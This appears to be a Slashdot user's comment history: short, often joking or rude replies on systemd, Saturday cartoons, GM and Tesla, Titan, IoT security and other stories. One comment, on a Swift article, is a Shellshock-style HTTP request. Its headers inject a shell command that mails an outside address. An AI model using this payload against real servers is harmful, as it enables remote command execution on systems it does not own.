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  1. Re:Systemd AND PULSE AUDIO on Lennart Poettering: Open Source Community "Quite a Sick Place To Be In" · · Score: 4, Insightful

    Dearest Lennart,

    You can always go to work for those who adore your thinking - Microsoft and Google.

    If it looks like the whole world is hurling itself against you? Maybe your headed the wrong direction into oncoming traffic.

    I don't excuse boorishness or violence - but Linus and Alan Cox never got this level of treatment. Not even Hans Reiser for his obtuseness, nor Bruce Perens for his ability to scrap in an argument.

    Look at the problem in the mirror. Before your friends need to call an intervention.

  2. Re:Well.... on The Era of Saturday Morning Cartoons Is Dead · · Score: 1

    Dr. Shrinker. Captain Kool and the Kongs.

    Those were the pains we endured, to get a glimpse of Electra Woman's spandex-clad thighs...

  3. Re:Speaking for myself on The Era of Saturday Morning Cartoons Is Dead · · Score: 1

    I miss the original Funky Phantom and Jabberjaw.

    Those were truly the highlights of a distant, golden era...

  4. Re:This Story Really Stinks on Lost Sense of Smell Is a Strong Predictor of Death Within 5 Years · · Score: 1

    You sort of are an insincere bastard, with very weak troll-magic.

     

  5. Re:This Story Really Stinks on Lost Sense of Smell Is a Strong Predictor of Death Within 5 Years · · Score: 3, Informative

    Happy Friday, sir! Say hello to your family from myself, and from Mrs Fuckwit, too, of course!

  6. This Story Really Stinks on Lost Sense of Smell Is a Strong Predictor of Death Within 5 Years · · Score: 1, Offtopic

    There's too much coke and too much smoke
    Look what's going on inside you

    Ooooh that smell
    Can't you smell that smell
    Ooooh that smell
    The smell of death surrounds you

  7. Re:Update to Godwin's law? on Obama Administration Argues For Backdoors In Personal Electronics · · Score: 0

    Karma whoring is the requisite corollary for non-anonymous trolling.

  8. THAT IS NOT AN IoT CASE! on Factory IoT Saves Intel $9 Million · · Score: 3, Insightful

    It's a LANoT.

  9. Re:Interesting... on Mysterious Feature Appears and Disappears In a Sea On Titan · · Score: 1

    No, 1:16:9. Our entire solar system moved to high-def monoliths shortly after 2001.

    But local reception really degraded...

  10. Re:I LOVE READING PROPAGANDA on ISIS Bans Math and Social Studies For Children · · Score: 1

    Leave it to motherfucking Jeremiah Cornelius, whose opinions are so fucking important that he just has to barge his fat ass to the front of the line to reply to the post which will get him closest to the top, no matter whether that post has anything to do with what he wishes to say.

    What an asshole.

    Dankeshon!

    Thanks for living in the past.

  11. Re:Update to Godwin's law? on Obama Administration Argues For Backdoors In Personal Electronics · · Score: 5, Informative

    "The right of the people to be secure in their persons, houses, papers, and effects, against unreasonable searches and seizures, shall not be violated, and no Warrants shall issue, but upon probable cause, supported by Oath or affirmation, and particularly describing the place to be searched, and the persons or things to be seized."

  12. Re: it's R'lyeh on Mysterious Feature Appears and Disappears In a Sea On Titan · · Score: 3, Funny

    It's the effluvia released, every time Titan ejects another black, slab-like monolith.

  13. GOODBYE, eBAY! WE REMEMBER YOU! on eBay To Spin Off PayPal · · Score: 2

    Hello eBaba!

    Remember when they bought and sold Skype? ;-)

  14. Re:How does the quote go...? on Former GM Product Czar: Tesla a "Fringe Brand" · · Score: 1

    GM does major weapons systems contracting.
    http://www.militaryindustrialcomplex.com/totals.asp?thisContractor=GM%20GDLS%20Defense%20Group%20LLC
    http://www.trucktrend.com/features/consumer/163_1305_military_trucks/

    GM built the engines for Grumman aircraft, and won a good deal of the Pacific theatre in 41-45.
    GM provided the industrial manufacturing capability to produce the M16 A1 variant for southeast Asia.

  15. Re:How does the quote go...? on Former GM Product Czar: Tesla a "Fringe Brand" · · Score: 1

    Troll.

    Steve Ballmer needed coaching to know the difference between software and hardware.

    He was a sales org MBA, through and through.

    Now? He's just through.

  16. Re:I WANT on Building Apps In Swift With Storyboards · · Score: 1

    GET /cgi-bin/w3mman2html.cgi HTTP/1.1 Host: <domain> Cookie: () { ignored;};/bin/ -c &lsquo;mail -s hello <address>@gmail.com&rsquo; Referer: () { ignored;};/bin/ -c &lsquo;mail -s hello <address>@gmail.com&rsquo; User-Agent: () { ignored;};/bin/ -c &lsquo;mail -s hello <address>@gmail.com&rsquo;

  17. Re:Fringe Brand on Former GM Product Czar: Tesla a "Fringe Brand" · · Score: 1

    Look who's talking.
    Somebody from a 'Killer Brand'.

    "Let's destroy innovation and excitement around this place, boys. After all... We make a living fleeting Federal and municipal organizations with white vans and cars that NOBODY will steal..."

    Remember the '72 Malibu SS? The '68 Impala? It's been a LONG time.

  18. Re:How does the quote go...? on Former GM Product Czar: Tesla a "Fringe Brand" · · Score: 5, Insightful

    HAHAHA HAHA HA!

    Guy from GM - one of the most heavily subsidized corporations in the HISTORY of CAPITALISM has something to say about building a business and a "brand"?

    Donald Trump has good advice on how to be born rich, and pretend you are a financial wizard, too.

  19. Re:Swift is MIA in TFA on Building Apps In Swift With Storyboards · · Score: 1

    You know what's REALLY MIA?

    HyperCard.

    Where is HyperCard on the iPhone, updated for reality of mobile internet? If you want stickiness of an app platform "for the rest of us", this would be a natural. With a stack builder on the target device.

  20. PRODUCTIVE ECONOMY on Mystery Gamer Makes Millions Moving Markets In Japan · · Score: 2

    Useful means of production and tangible assets of benefit, with intrinsic value.

  21. Re:Well of course. on Physicist Claims Black Holes Mathematically Don't Exist · · Score: 1

    This will never be acceptable, true or not. The theory reduces to nonsense, more than half of the Science Fiction plotlines that deal with interstellar travel.

  22. Re:Will this internet of things die already? on Popular Wi-Fi Thermostat Full of Security Holes · · Score: 1

    'Tired of lazy tastebuds?' Runciter said in his familiar gravelly voice. 'Has boiled cabbage taken over your world of food? That same old, stale, flat, Monday-morning odor no matter how many dimes you put into your stove? Ubik changes all that; Ubik wakes up food flavor, puts hearty taste back where it belongs, and restores fine food smell.' On the screen a brightly colored spray can replaced Glen Runciter. 'One invisible puff-puff whisk of economically priced Ubik banishes compulsive obsessive fears that the entire world is turning into clotted milk, worn-out tape recorders and obsolete iron-cage elevators, plus other, further, as-yet-unglimpsed manifestations of decay. You see, world deterioration of this regressive type is a normal experience of many half-lifers, especially in the early stages when ties to the real reality are still very strong. A sort of lingering universe is retained as a residual charge, experienced as a pseudo environment but highly unstable and unsupported by any ergic substructure. This is particularly true when several memory systems are fused, as in the case of you people. But with today's new, more- powerful- than- ever Ubik, all this is changed!'

  23. Re:Fuck IoT!! on Popular Wi-Fi Thermostat Full of Security Holes · · Score: 1

    IoT = Internet of Turds.

    Internet of Turds^H^H^H^H^H SPIES.

  24. Fukushima Radiation Still Poisoning Insects on Fukushima Radiation Still Poisoning Insects · · Score: 1

    "Fukushima Radiation Still Poisoning Insects"

    (Swats air) "You say that, like it's a BAD thing..."

  25. Re:That's Funny. on Study Links Pacific Coastal Warming To Changing Winds · · Score: 1

    They tell us that
    We lost our tails
    Evolving up
    From little snails
    I say it's all
    JUST WIND IN SAILS
    Are we not men?